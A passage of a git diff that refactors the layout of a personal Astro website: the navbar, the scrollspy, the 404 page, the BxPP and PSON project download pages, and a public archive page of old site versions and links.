-        <ul class="dropdown-menu dropdown-menu-end dropdown-menu-specific" aria-labelledby="bd-theme-text">
-          <li>
-            <button type="button" class="dropdown-item d-flex align-items-center active" data-bs-theme-value="light" aria-pressed="false">
+        <li class="nav-item dropdown">
+          <button class="nav-link py-2 px-0 px-lg-2 dropdown-toggle d-flex align-items-center" id="bd-theme" type="button" aria-expanded="false" data-bs-toggle="dropdown" data-bs-display="static">
+            <span class="theme-icon-active">
+              <i class="my-1"></i>
+            </span>
+            <span class="d-custom-none" id="bd-theme-text">Toggle theme</span>
+          </button>
+          <ul class="dropdown-menu dropdown-menu-end dropdown-menu-specific" aria-labelledby="bd-theme-text">
+            <li>
+              <button type="button" class="dropdown-item d-flex align-items-center active" data-bs-theme-value="light" aria-pressed="false">
               <i class="bi bi-sun-fill me-2"></i>
               Light
             </button>
-          </li>
-          <li>
-            <button type="button" class="dropdown-item d-flex align-items-center" data-bs-theme-value="dark" aria-pressed="false">
+            </li>
+            <li>
+              <button type="button" class="dropdown-item d-flex align-items-center" data-bs-theme-value="dark" aria-pressed="false">
               <i class="bi bi-moon-stars-fill me-2"></i>
               Dark
-            </button>
-          </li>
-          <li>
-            <button type="button" class="dropdown-item d-flex align-items-center" data-bs-theme-value="auto" aria-pressed="true">
+              </button>
+            </li>
+            <li>
+              <button type="button" class="dropdown-item d-flex align-items-center" data-bs-theme-value="auto" aria-pressed="true">
               <i class="bi bi-circle-half me-2"></i>
               Auto
-            </button>
+              </button>
+            </li>
+            </ul>
           </li>
         </ul>
-      </li>
-      </ul>
-    </div>
-  </div>
-</nav>
-<nav class="pb-2 navbar navbar-expand-story bg-dark navbar-dark pt-0 border-fix second-navbar"><div class="container-fluid">
-      <div class="navbar-collapse collapse" id="collapsibleNavbar">
-        <hr class="permhr m-story-2 m-story-0">
-  <ol class="navbar-nav breadcrumb m-0 pb-story-2">
-    <li class="breadcrumb-item"><a href="/">Home</a></li>
-    <li class="breadcrumb-item"><a href="/noodle">Noodle Hackerspace</a>
-    <div class="dropdown d-inline"><a aria-expanded="true" data-bs-toggle="dropdown" type="button" href="/noodle" class="dropdown-toggle footer-info show">
-  </a>
-  <ul class="dropdown-menu dropdown-story" data-bs-popper="static">
-        {breadcrumbcontent && breadcrumbcontent.map(({ name, href, name2, href2 }, index) => (
-                <li><a class="dropdown-item" href={href}>{name}</a>
-        {name2 && href2 && (<a class="dropdown-item" href={href2}>{name2}</a>)}
-       </li>
-            
-))}
-  </ul></div>
-    </li>
-    <li class="breadcrumb-item active" aria-current="page">CCTV Interception</li>
-  </ol>
-</div>
       </div>
-</nav>
-      </header>
-<noscript> <div class="alert alert-dark mb-0" role="alert"> <strong>It seems like you don't have JavaScript enabled!</strong> For color modes, accordions, scrollspies, tab panes, dropdowns, popovers, and much more, you'll need JavaScript to work! We do not have fallbacks, so please enable JavaScript or <a href="https://github.com/Alex-Toucan/atproducts.xyz">view the source code to read the information</a>.
-</div> </noscript>
+      </div>
+      </nav>
+      <nav class="pb-2 navbar navbar-expand-story navbar-main pt-0 border-fix second-navbar">
+      <div class="container-fluid">
+        <div class="navbar-collapse collapse" id="collapsibleNavbar">
+          <hr class="permhr m-story-2 m-story-0">
+          <ol class="navbar-nav breadcrumb m-0">
+            <li class="breadcrumb-item"><a href="/">Home</a></li>
+            <li class="breadcrumb-item"><a href="/stories/">Stories</a></li>
+            {link && link.map(({ name, href }, index) => (
+              <li class="breadcrumb-item dropdown d-inline" key={index}>
+                <a href={href} class="dropdown-toggle" data-bs-toggle="dropdown" aria-expanded="false">{name}</a>
+                {breadcrumbcontent && (
+                  <ul class="dropdown-menu dropdown-story" data-bs-popper="static" aria-label="Dropdown">
+                    {breadcrumbcontent.map(({ name, href }, index) => (
+                      <li key={index}><a class="dropdown-item" href={href}>{name}</a></li>
+                    ))}
+                  </ul>
+                )}
+              </li>
+            ))}
+            <li class="breadcrumb-item active" aria-current="page">{pageTitle}</li>
+          </ol>
+        </div>
+      </div>
+    </nav>
+</header>
+<noscript> 
+  <div class="alert alert-dark mb-0" role="alert"> 
+    <strong>It seems like you don't have JavaScript enabled!</strong> For color modes, accordions, scrollspies, tab panes, dropdowns, popovers, and much more, you'll need JavaScript to work! We do not have fallbacks, so please enable JavaScript or <a href="https://github.com/Alex-Toucan/atproducts.xyz">view the source code to read the information</a>.
+  </div> 
+</noscript>
diff --git a/src/layouts/stories/Scrollspy.astro b/src/layouts/stories/Scrollspy.astro
index 82edf8673..62369b8c8 100644
--- a/src/layouts/stories/Scrollspy.astro
+++ b/src/layouts/stories/Scrollspy.astro
@@ -1,14 +1,22 @@
 ---
-const { id, title, scrollcontent } = Astro.props;
+const { id, scrollcontent } = Astro.props;
 ---
 
 <main id={id}>
-  <div class="bd-toc col-md-2 p-1 story-top-buttons">
+  <div class="bd-toc col-md-3 p-3 pb-0 story-top-buttons">
     <div id={`${id}-list`} class="list-group">
-      {scrollcontent && scrollcontent.map(({ name, href, additionalClasses }, index) => (
-        <a class={`list-group-item list-group-item-action ${additionalClasses}`} href={href}>{name}</a>
-      ))}
+      {scrollcontent ? (
+        scrollcontent.map(({ name, href, additionalClasses }, index) => (
+          <a class={`list-group-item list-group-item-action ${additionalClasses}`} href={href} key={index}>
+            {name}
+          </a>
+        ))
+      ) : (
+        <strong>There are no sections to scroll to in this story.</strong>
+      )}      
     </div>
   </div>
+  <div class="col-md-9 p-3 story-top-scroll story-top-body story-scroll" tabindex="0" data-bs-smooth-scroll="true" data-bs-target={`${id}-list`} data-bs-spy="scroll">
     <slot name="scrollspy-content" />
+  </div>
 </main>
diff --git a/src/pages/404.astro b/src/pages/404.astro
index e04c22644..571ccaf0f 100644
--- a/src/pages/404.astro
+++ b/src/pages/404.astro
@@ -8,10 +8,11 @@ import BackToTop from '../components/BackToTop.astro';
 ---
 
 <Head title="Error 404" heroid="web" description="The content that the publisher attempted to share, doesn't exist. This is a 404 page after all..." author="Alex Toucan" />
-      <div id="page">
-<Navbar />
-     <main id="404" class="text-center">
-         <Hero
+  <div id="page">
+    <Navbar />
+    <div id="main-content">
+      <main id="404" class="text-center">
+        <Hero
          id="web"
          title="404"
          titleClasses="lh-1 fs-16"
@@ -20,9 +21,10 @@ import BackToTop from '../components/BackToTop.astro';
          secondaryHref="/"
          secondaryText="Index Page"
          container="true"
-       />
-</main>
-<Footer hr="none"/>
-<BackToTop />
-</div>
+         />
+      </main>
+      <Footer hr="none"/>
+    </div>
+    <BackToTop />
+  </div>
 <Scripts fourofour="true" />
diff --git a/src/pages/BxPP.astro b/src/pages/BxPP.astro
index 93640ea23..e21a99c75 100644
--- a/src/pages/BxPP.astro
+++ b/src/pages/BxPP.astro
@@ -1,58 +1,60 @@
 ---
 import Head from '../layouts/Head.astro';
 import Scripts from '../layouts/Scripts.astro';
-import HeroPynx      from '../components/secondary/HeroPynx.astro';
-import Navbar    from '../components/Navbar.astro';
-import Footer    from '../components/Footer.astro';
+import HeroPynx from '../components/secondary/HeroPynx.astro';
+import Navbar from '../components/Navbar.astro';
+import Footer from '../components/Footer.astro';
 import BackToTop from '../components/BackToTop.astro';
 ---
 
 <Head title="BxPP" heroid="ehs" description="BxPP; a Python programming language." keywords="Inferno, BxPP, AT Products LLC" author="Alex Toucan & Pynx" />
 <div id="page">
 	<Navbar />
-	<HeroPynx
-		title="BxPP Programming Language"
-		description="Made by Pynx&semi; a Python/C++ Programming Language."
-    buttons={[
-      { href: "#downloads", text: "Downloads", type: "primary" },
-      { href: "https://github.com/Discordmodsbers/BxPP", text: "<i class='bi bi-github fs-6 me-2'></i> GitHub Repo", type: "secondary" },
-    ]},
-		dropdownItems={[
-			{ navigationDesc: "General Information", navigationLink: "#general-info" },
-			{ navigationDesc: "Installation", navigationLink: "#install" },
-			{ navigationDesc: "Downloads", navigationLink: "#downloads" },
-		]},
-	/>
-  <main id="bxpp" class="container">
-		<div id="general-info">
-			<h2> General Information </h2>
-			<p> BxPP, made by Pynx, is a custom Python programming language. </p>
-			<br>
-			<p>
-				<b>Version:</b> 3.0 <br>
-				<b>Platforms:</b> Linux & Windows
-      </p>
-		</div>
-		<hr>
-		<div id="install">
-			<h2> Installation </h2>
-			<p>
-				<code> sudo python3 setup.py</code>
-				<br> OR <br>
-				<code>run setup.exe </code>
-			</p>
-		</div>
-		<hr>
-		<div id="downloads">
-			<h2>Downloads</h2>
-			<div class="d-grid d-sm-flex gap-2">
-        <a class="btn btn-primary" href="/bxpp/setup.py" download>Setup File (Python)</a> 
-        <a class="btn btn-primary" href="/bxpp/BxPP.py" download>Main File (Python)</a> 
-        <a class="btn btn-primary" href="https://github.com/Discordmodsbers/BxPP/archive/refs/heads/main.zip" download>ZIP Download (Linux &amp; Windows)</a> 
-      </div>
-		</div>
-	</main>
-	<Footer author="Alex Toucan & Pynx" />
+	<div id="main-content">
+		<HeroPynx
+			title="BxPP Programming Language"
+			description="Made by Pynx&semi; a Python/C++ Programming Language."
+	    buttons={[
+	      { href: "#downloads", text: "Downloads", type: "primary" },
+	      { href: "https://github.com/Discordmodsbers/BxPP", text: "<i class='bi bi-github fs-6 me-2'></i> GitHub Repo", type: "secondary" },
+	    ]},
+			dropdownItems={[
+				{ navigationDesc: "General Information", navigationLink: "#general-info" },
+				{ navigationDesc: "Installation", navigationLink: "#install" },
+				{ navigationDesc: "Downloads", navigationLink: "#downloads" },
+			]},
+		/>
+	  <main id="bxpp" class="container">
+			<div id="general-info">
+				<h2> General Information </h2>
+				<p> BxPP, made by Pynx, is a custom Python programming language. </p>
+				<br>
+				<p>
+					<b>Version:</b> 3.0 <br>
+					<b>Platforms:</b> Linux & Windows
+	      </p>
+			</div>
+			<hr>
+			<div id="install">
+				<h2> Installation </h2>
+				<p>
+					<code> sudo python3 setup.py</code>
+					<br> OR <br>
+					<code>run setup.exe </code>
+				</p>
+			</div>
+			<hr>
+			<div id="downloads">
+				<h2>Downloads</h2>
+				<div class="d-grid d-sm-flex gap-2">
+	        <a class="btn btn-primary" href="/bxpp/setup.py" download>Setup File (Python)</a> 
+	        <a class="btn btn-primary" href="/bxpp/BxPP.py" download>Main File (Python)</a> 
+	        <a class="btn btn-primary" href="https://github.com/Discordmodsbers/BxPP/archive/refs/heads/main.zip" download>ZIP Download (Linux &amp; Windows)</a> 
+	      </div>
+			</div>
+		</main>
+		<Footer author="Alex Toucan & Pynx" />
+	</div>
 	<BackToTop />
 </div>
 <Scripts />
diff --git a/src/pages/PSON.astro b/src/pages/PSON.astro
index 28cbf5c49..e256703f4 100644
--- a/src/pages/PSON.astro
+++ b/src/pages/PSON.astro
@@ -10,143 +10,145 @@ import BackToTop from '../components/BackToTop.astro';
 <Head title="PSON" heroid="ehs" description="PSON; The better JSON." keywords="Inferno, PSON, BxPP, AT Products LLC" author="Alex Toucan & Pynx" />
 <div id="page">
 	<Navbar />
-	<HeroPynx
-		title="PSON for JSON"
-		description="Made by Pynx&semi; the better way to do JSON files for languages; with languages."
-    buttons={[
-      { href: "#downloads", text: "Downloads", type: "primary" },
-    ]},
-    dropdownItems={[
-      { navigationDesc: "General Information", navigationLink: "#general-info" },
-      { navigationDesc: "Downloads & Installs", navigationLink: "#downloads" },
-    ]},
-  />
-  <main id="bxpp" class="container">
-    <div id="general-info">
-      <h2> General Information </h2>
-      <p>PSON aka PynxSON, made by Pynx, is a JSON extension for the supported programming languages (can be found below). It uses a script from the supported programming languages as a library, then you can create script using functions from the library for it to create a JSON file using what you wrote.</p>
-      <p>What does PSON have? Well:</p>
-      <ul>
-        <li>Comments (Ever needed to describe your objects? Well now you can!)</li>
-        <li>Better read and write (no "with open")</li>
-        <li>Better speed and compatibility</li>
-      </ul>
-      <p>
-        <b>Platforms:</b> Windows, Linux, and MacOS.
-      </p>
-    </div>
-    <hr>
-    <div id="downloads">
-      <h2>Downloads & Installation</h2>
-      <ul class="mt-2 nav nav-tabs" id="downloadTab" role="tablist" style="
-        flex-wrap: nowrap;
-        overflow-x: auto;
-        overflow-y: hidden;
-      ">
-        <li class="nav-item" role="presentation">
-          <button class="nav-link active" id="python-tab" data-bs-toggle="tab" data-bs-target="#python-tab-pane" type="button" role="tab" aria-controls="python-tab-pane" aria-selected="false" tabindex="-1"><img src="/media/images/python.png" height="45px"></button>
-        </li>
-        <li class="nav-item" role="presentation">
-          <button class="nav-link" id="dart-tab" data-bs-toggle="tab" data-bs-target="#dart-tab-pane" type="button" role="tab" aria-controls="dart-tab-pane" aria-selected="false" tabindex="-1"><img src="/media/images/dart.png" height="45px"></button>
-        </li>
-        <li class="nav-item" role="presentation">
-          <button class="nav-link" id="c-tab" data-bs-toggle="tab" data-bs-target="#c-tab-pane" type="button" role="tab" aria-controls="c-tab-pane" aria-selected="false" tabindex="-1"><img src="/media/images/c.png" height="45px"></button>
-        </li>
-        <li class="nav-item" role="presentation">
-          <button class="nav-link" id="go-tab" data-bs-toggle="tab" data-bs-target="#go-tab-pane" type="button" role="tab" aria-controls="go-tab-pane" aria-selected="false" tabindex="-1"><img src="/media/images/go.png" height="45px"></button>
-        </li>
-        <li class="nav-item" role="presentation">
-          <button class="nav-link" id="rust-tab" data-bs-toggle="tab" data-bs-target="#rust-tab-pane" type="button" role="tab" aria-controls="rust-tab-pane" aria-selected="true"><img src="/media/images/rust.png" height="45px"></button>
-        </li>
-        <li class="nav-item" role="presentation">
-          <button class="nav-link" id="haskell-tab" data-bs-toggle="tab" data-bs-target="#haskell-tab-pane" type="button" role="tab" aria-controls="haskell-tab-pane" aria-selected="true"><img src="/media/images/haskell.png" height="45px"></button>
-        </li>
-      </ul>
-      <div class="tab-content border rounded-bottom-2 p-4" id="downloadTabContent">
-        <div class="tab-pane fade active show" id="python-tab-pane" role="tabpanel" aria-labelledby="python-tab" tabindex="0">
-          <h1>Python</h1>
-          <span class="h5">Version: <span class="fw-normal">3.0</span></span>
-          <hr class="border-3">
-          <h2> Downloads </h2>
-          <div class="my-2 d-grid d-sm-flex flex-wrap gap-2">
-            <a class="btn btn-primary" href="https://github.com/2983u2/Pson/blob/main/Pson.py" download>Library File (Python)</a> 
-            <a class="btn btn-primary" href="https://github.com/2983u2/Pson/archive/refs/heads/main.zip" download>ZIP Download (Python)</a> 
-            <a class="btn btn-secondary" href="https://github.com/2983u2/Pson/"><i class='bi bi-github fs-6 me-2'></i> GitHub Repo</a>
-          </div>
-          <hr>
-          <h2> Requirements </h2>
-          <p><b>Python:</b> 3.0 or above</p>
-          <hr>
-          <h2> Installation </h2>
-          <p>
-            <ol>
-              <li>Download the <a href="https://github.com/2983u2/Pson/blob/main/Pson.py">Python library file</a>.</li>
-              <li>Import the file: <code>from Pson import *</code></li>
-              <li>Call the functions: <b><u><a href="https://github.com/2983u2/Pson?tab=readme-ov-file#examples">Examples</a></u></b></li>
-              <li>Run your script to generate a JSON file.</li>
-            </ol>
-          </p>
-        </div>
-        <div class="tab-pane fade" id="dart-tab-pane" role="tabpanel" aria-labelledby="dart-tab" tabindex="0">
-          <h1>Dart</h1>
-          <span class="h5">Version: <span class="fw-normal">1.0</span></span>
-          <hr class="border-3">
-          <h2> Downloads </h2>
-          <div class="my-2 d-grid d-sm-flex gap-2">
-            <a class="btn btn-primary" href="https://github.com/2983u2/Dson/blob/main/Dson.dart">Library File (Dart)</a> 
-            <a class="btn btn-primary" href="https://github.com/2983u2/Dson/archive/refs/heads/main.zip" download="">ZIP Download (Dart)</a> 
-            <a class="btn btn-secondary" href="https://github.com/2983u2/Dson/"><i class='bi bi-github fs-6 me-2'></i> GitHub Repo</a>
-          </div>
-          <hr>
-          <h2> Requirements </h2>
-          <p><b>Dart:</b> 3.4.4 or above</p>
-          <hr>
-          <h2> Installation </h2>
-          <p>
-            <ol>
-              <li>Download the <a href="https://github.com/2983u2/Pson/blob/main/Dson.dart">Dart library file</a>.</li>
-              <li>Import the file: <code>import 'Dson.dart';</code></li>
-              <li>Call the functions: <b><u><a href="https://github.com/2983u2/Dson?tab=readme-ov-file#examples">Examples</a></u></b></li>
-              <li>Run your script to generate a JSON file.</li>
-            </ol>
-          </p>
-        </div>
-        <div class="tab-pane fade" id="c-tab-pane" role="tabpanel" aria-labelledby="c-tab" tabindex="0">
-          <h1>C</h1>
-          <hr class="border-3">
-          <div class="text-center">
-            <i class="fs-1 bi bi-cone-striped"></i>
-            <p class="m-0"> This section is under development. </p>
-          </div>
-        </div>
-        <div class="tab-pane fade" id="go-tab-pane" role="tabpanel" aria-labelledby="go-tab" tabindex="0">
-          <h1>Go</h1>
-          <hr class="border-3">
-          <div class="text-center">
-            <i class="fs-1 bi bi-cone-striped"></i>
-            <p class="m-0"> This section is under development. </p>
-          </div>
-        </div>
-        <div class="tab-pane fade" id="rust-tab-pane" role="tabpanel" aria-labelledby="rust-tab" tabindex="0">
-          <h1>Rust</h1>
-          <hr class="border-3">
-          <div class="text-center">
-            <i class="fs-1 bi bi-cone-striped"></i>
-            <p class="m-0"> This section is under development. </p>
-          </div>
-        </div>
-        <div class="tab-pane fade" id="haskell-tab-pane" role="tabpanel" aria-labelledby="haskell-tab" tabindex="0">
-          <h1>Haskell</h1>
-          <hr class="border-3">
-          <div class="text-center">
-            <i class="fs-1 bi bi-cone-striped"></i>
-            <p class="m-0"> This section is under development. </p>
-          </div>
-        </div>
-      </div>
-    </div>
-  </main>
-	<Footer author="Alex Toucan & Pynx" />
+	<div id="main-content">
+		<HeroPynx
+			title="PSON for JSON"
+			description="Made by Pynx&semi; the better way to do JSON files for languages; with languages."
+	    buttons={[
+	      { href: "#downloads", text: "Downloads", type: "primary" },
+	    ]},
+	    dropdownItems={[
+	      { navigationDesc: "General Information", navigationLink: "#general-info" },
+	      { navigationDesc: "Downloads & Installs", navigationLink: "#downloads" },
+	    ]},
+	  />
+	  <main id="bxpp" class="container">
+	    <div id="general-info">
+	      <h2> General Information </h2>
+	      <p>PSON aka PynxSON, made by Pynx, is a JSON extension for the supported programming languages (can be found below). It uses a script from the supported programming languages as a library, then you can create script using functions from the library for it to create a JSON file using what you wrote.</p>
+	      <p>What does PSON have? Well:</p>
+	      <ul>
+	        <li>Comments (Ever needed to describe your objects? Well now you can!)</li>
+	        <li>Better read and write (no "with open")</li>
+	        <li>Better speed and compatibility</li>
+	      </ul>
+	      <p>
+	        <b>Platforms:</b> Windows, Linux, and MacOS.
+	      </p>
+	    </div>
+	    <hr>
+	    <div id="downloads">
+	      <h2>Downloads & Installation</h2>
+	      <ul class="pt-2 nav nav-tabs" id="downloadTab" role="tablist" style="
+	        flex-wrap: nowrap;
+	        overflow-x: auto;
+	        overflow-y: hidden;
+	      ">
+	        <li class="nav-item" role="presentation">
+	          <button class="nav-link active" id="python-tab" aria-label="Python Tab" data-bs-toggle="tab" data-bs-target="#python-tab-pane" type="button" role="tab" aria-controls="python-tab-pane" aria-selected="false" tabindex="-1"><img src="/media/images/python.png" alt="Python" height="45px"></button>
+	        </li>
+	        <li class="nav-item" role="presentation">
+	          <button class="nav-link" id="dart-tab" aria-label="Dart Tab" data-bs-toggle="tab" data-bs-target="#dart-tab-pane" type="button" role="tab" aria-controls="dart-tab-pane" aria-selected="false" tabindex="-1"><img src="/media/images/dart.png" alt="Dart" height="45px"></button>
+	        </li>
+	        <li class="nav-item" role="presentation">
+	          <button class="nav-link" id="c-tab" aria-label="C Tab" data-bs-toggle="tab" data-bs-target="#c-tab-pane" type="button" role="tab" aria-controls="c-tab-pane" aria-selected="false" tabindex="-1"><img src="/media/images/c.png" alt="C" height="45px"></button>
+	        </li>
+	        <li class="nav-item" role="presentation">
+	          <button class="nav-link" id="go-tab" aria-label="Go Tab" data-bs-toggle="tab" data-bs-target="#go-tab-pane" type="button" role="tab" aria-controls="go-tab-pane" aria-selected="false" tabindex="-1"><img src="/media/images/go.png" alt="Go" height="45px"></button>
+	        </li>
+	        <li class="nav-item" role="presentation">
+	          <button class="nav-link" id="rust-tab" aria-label="Rust Tab" data-bs-toggle="tab" data-bs-target="#rust-tab-pane" type="button" role="tab" aria-controls="rust-tab-pane" aria-selected="true"><img src="/media/images/rust.png" alt="Rust" height="45px"></button>
+	        </li>
+	        <li class="nav-item" role="presentation">
+	          <button class="nav-link" id="haskell-tab" aria-label="Haskell Tab" data-bs-toggle="tab" data-bs-target="#haskell-tab-pane" type="button" role="tab" aria-controls="haskell-tab-pane" aria-selected="true"><img src="/media/images/haskell.png" alt="Haskell" height="45px"></button>
+	        </li>
+	      </ul>
+	      <div class="tab-content border rounded-bottom-2 p-4" id="downloadTabContent">
+	        <div class="tab-pane fade active show" id="python-tab-pane" role="tabpanel" aria-labelledby="python-tab" tabindex="0">
+	          <h1>Python</h1>
+	          <span class="h5">Version: <span class="fw-normal">3.0</span></span>
+	          <hr class="border-3">
+	          <h2> Downloads </h2>
+	          <div class="my-2 d-grid d-sm-flex flex-wrap gap-2">
+	            <a class="btn btn-primary" href="https://github.com/2983u2/Pson/blob/main/Pson.py" download>Library File (Python)</a> 
+	            <a class="btn btn-primary" href="https://github.com/2983u2/Pson/archive/refs/heads/main.zip" download>ZIP Download (Python)</a> 
+	            <a class="btn btn-secondary" href="https://github.com/2983u2/Pson/"><i class='bi bi-github fs-6 me-2'></i> GitHub Repo</a>
+	          </div>
+	          <hr>
+	          <h2> Requirements </h2>
+	          <p><b>Python:</b> 3.0 or above</p>
+	          <hr>
+	          <h2> Installation </h2>
+	          <p>
+	            <ol>
+	              <li>Download the <a href="https://github.com/2983u2/Pson/blob/main/Pson.py">Python library file</a>.</li>
+	              <li>Import the file: <code>from Pson import *</code></li>
+	              <li>Call the functions: <b><u><a href="https://github.com/2983u2/Pson?tab=readme-ov-file#examples">Examples</a></u></b></li>
+	              <li>Run your script to generate a JSON file.</li>
+	            </ol>
+	          </p>
+	        </div>
+	        <div class="tab-pane fade" id="dart-tab-pane" role="tabpanel" aria-labelledby="dart-tab" tabindex="0">
+	          <h1>Dart</h1>
+	          <span class="h5">Version: <span class="fw-normal">1.0</span></span>
+	          <hr class="border-3">
+	          <h2> Downloads </h2>
+	          <div class="my-2 d-grid d-sm-flex gap-2">
+	            <a class="btn btn-primary" href="https://github.com/2983u2/Dson/blob/main/Dson.dart">Library File (Dart)</a> 
+	            <a class="btn btn-primary" href="https://github.com/2983u2/Dson/archive/refs/heads/main.zip" download="">ZIP Download (Dart)</a> 
+	            <a class="btn btn-secondary" href="https://github.com/2983u2/Dson/"><i class='bi bi-github fs-6 me-2'></i> GitHub Repo</a>
+	          </div>
+	          <hr>
+	          <h2> Requirements </h2>
+	          <p><b>Dart:</b> 3.4.4 or above</p>
+	          <hr>
+	          <h2> Installation </h2>
+	          <p>
+	            <ol>
+	              <li>Download the <a href="https://github.com/2983u2/Pson/blob/main/Dson.dart">Dart library file</a>.</li>
+	              <li>Import the file: <code>import 'Dson.dart';</code></li>
+	              <li>Call the functions: <b><u><a href="https://github.com/2983u2/Dson?tab=readme-ov-file#examples">Examples</a></u></b></li>
+	              <li>Run your script to generate a JSON file.</li>
+	            </ol>
+	          </p>
+	        </div>
+	        <div class="tab-pane fade" id="c-tab-pane" role="tabpanel" aria-labelledby="c-tab" tabindex="0">
+	          <h1>C</h1>
+	          <hr class="border-3">
+	          <div class="text-center">
+	            <i class="fs-1 bi bi-cone-striped"></i>
+	            <p class="m-0"> This version of PSON is under development. </p>
+	          </div>
+	        </div>
+	        <div class="tab-pane fade" id="go-tab-pane" role="tabpanel" aria-labelledby="go-tab" tabindex="0">
+	          <h1>Go</h1>
+	          <hr class="border-3">
+	          <div class="text-center">
+	            <i class="fs-1 bi bi-cone-striped"></i>
+	            <p class="m-0"> This version of PSON is under development. </p>
+	          </div>
+	        </div>
+	        <div class="tab-pane fade" id="rust-tab-pane" role="tabpanel" aria-labelledby="rust-tab" tabindex="0">
+	          <h1>Rust</h1>
+	          <hr class="border-3">
+	          <div class="text-center">
+	            <i class="fs-1 bi bi-cone-striped"></i>
+	            <p class="m-0"> This version of PSON is under development. </p>
+	          </div>
+	        </div>
+	        <div class="tab-pane fade" id="haskell-tab-pane" role="tabpanel" aria-labelledby="haskell-tab" tabindex="0">
+	          <h1>Haskell</h1>
+	          <hr class="border-3">
+	          <div class="text-center">
+	            <i class="fs-1 bi bi-cone-striped"></i>
+	            <p class="m-0"> This version of PSON is under development. </p>
+	          </div>
+	        </div>
+	      </div>
+	    </div>
+	  </main>
+		<Footer author="Alex Toucan & Pynx" />
+	</div>
 	<BackToTop />
 </div>
 <Scripts />
diff --git a/src/pages/backup/archive.astro b/src/pages/backup/archive.astro
index 9926b547f..095fc1a0f 100644
--- a/src/pages/backup/archive.astro
+++ b/src/pages/backup/archive.astro
@@ -1,330 +1,343 @@
 ---
 import Head from '../../layouts/Head.astro';
 import Scripts from '../../layouts/Scripts.astro';
-import Navbar    from '../../components/Navbar.astro';
-import Footer    from '../../components/Footer.astro';
+import Navbar from '../../components/Navbar.astro';
+import Footer from '../../components/Footer.astro';
 import BackToTop from '../../components/BackToTop.astro';
 ---
 
 <Head title="Public Archive" description="This is the Public Archive to archive any old versions and retired pages." author="Alex Toucan" />
 <div id="page">
   <Navbar />
-  <main id="archive" class="container">
-    <h1 class="title"> Public Archive </h1>
-    <p> Wanna view our archive of pages we no longer use or just does not belong on the site? Sure! </p>
-    <h2>Important Pages</h2>
-    <p>
-      <a href="https://other.atproducts.xyz/maintenance">Current Maintenance Page (used after 2.18.0.1)</a>
-      <i>Last used on 4/19/24 for testing.</i>
-    </p>
-    <p>
-      <a href="https://beta-testing.atproducts.xyz/">Current Beta Testing Site (after 2.18)</a>
-    </p>
-    <p>
-      <a href="https://other.atproducts.xyz/portfolio">Alex Toucan's Portfolio</a> 
-    </p>
-    <p>
-      <a href="/backup/canvas">Blank Canvas (2.18 - currently used)</a>
-    </p>
-    <h2>Unused/Unmaintained Pages</h2>
-    <p>
-      <b> These pages are as is. They will never be updated, not even for bug fixes (exception for legal updates), for testing and preserving purposes.</b>
-    </p>
-    <br>
-    <p>
-      <a href="https://backup.atproducts.xyz/maintenance.old">Old Maintenance Page (retired after 2.18.0.1)</a>
-      <i>Last used on 12/20/23 for 2.17.1.</i>
-    </p>
-    <p>
-      <a href="https://backup.atproducts.xyz/credits">Credits (2.5.1 [unused])</a>
-      <i>This was brought back in 2.6.2 as its section in the index page.</i>
-    </p>
-    <p>
-      <a href="https://beta-testing-archived.atproducts.xyz/">Old Beta Testing Site (before 2.6 - 2.18)</a>
-    </p>
-    <p>
-      <a href="https://backup.atproducts.xyz/food">Food Bot (2.6 - 2.6.2)</a>
-    </p>
-    <p>
-      <a href="https://backup.atproducts.xyz/warn">Warnings (2.6 - 2.6.2)</a>
-    </p>
-    <p>
-      <a href="https://backup.atproducts.xyz/portal">Portal (2.7 - 2.11 [unused elsewhere])</a>
-    </p>
-    <p>
-      <a href="https://backup.atproducts.xyz/roms">AT's ROM Games (1.0 - 2.6.2 | 2.11 - 2.13.2 & 2.15 [removal of card])</a>
-    </p>
-    <h2>Other Projects/Pages</h2>
-    <p>
-      <a href="https://other.atproducts.xyz/blue/">Blue Ball Machine</a>
-      <i>Based off <a href="https://web.archive.org/web/20151031072938/http://www.haneke.net/">haneke.net</a>.</i>
-    </p>
-    <p>
-      <a href="https://other.atproducts.xyz/shopping/#">Shopping Template</a>
-    </p>
-    <p>
-      <a href="https://other.atproducts.xyz/paidpacket/">Farmer's Market Paid Packet</a>
-    </p>
-    <p>
-      <a href="https://github.com/Alex-Toucan/c-code">Basic C Code</a>
-    </p>
-    <h2>Versions</h2>
-    <p>
-      <b> These pages are as is. They will never be updated, not even for bug fixes (exception for legal updates), for testing and preserving purposes.</b>
-      <b> PLEASE NOTE ALL LEGAL DOCUMENTS ARE INVAILD EXCEPT FOR THE LASTEST VERSION, ALL VALID LEGAL DOCUMENTS ARE ON *.atproducts.xyz.</b>
-    </p>
-    <div id="menu" class="text-wrap">
-      <div class="d-flex">
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://1-0.atproducts.xyz" class="sw-link text-wrap">1.0</a>
-        </div>
-      </div>
-      <div class="d-flex">
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-0-1.atproducts.xyz" class="sw-link text-wrap">2.0.1</a>
-        </div>
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-0-2.atproducts.xyz" class="sw-link text-wrap">2.0.2</a>
-        </div>
-      </div>
-      <div class="d-flex">
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-1.atproducts.xyz" class="sw-link text-wrap">2.1</a>
-        </div>
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-1-1.atproducts.xyz" class="sw-link text-wrap">2.1.1</a>
-        </div>
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-1-2.atproducts.xyz" class="sw-link text-wrap">2.1.2</a>
-        </div>
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-1-3.atproducts.xyz" class="sw-link text-wrap">2.1.3</a>
-        </div>
-      </div>
-      <div class="d-flex">
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-2.atproducts.xyz" class="sw-link text-wrap">2.2</a>
-        </div>
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-2-1.atproducts.xyz" class="sw-link text-wrap">2.2.1</a>
-        </div>
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-2-1-1.atproducts.xyz" class="sw-link text-wrap">2.2.1.1</a>
-        </div>
-      </div>
-      <div class="d-flex">
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-3.atproducts.xyz" class="sw-link text-wrap">2.3</a>
-        </div>
-      </div>
-      <div class="d-flex">
-        <div class="sw-feature-box col gap-md-2">
-          <a href="https://2-4.atproducts.xyz" class="sw-link text-wrap">2.4</a>
-        </div>
-        <div class="sw-feature-box col gap-md-2">
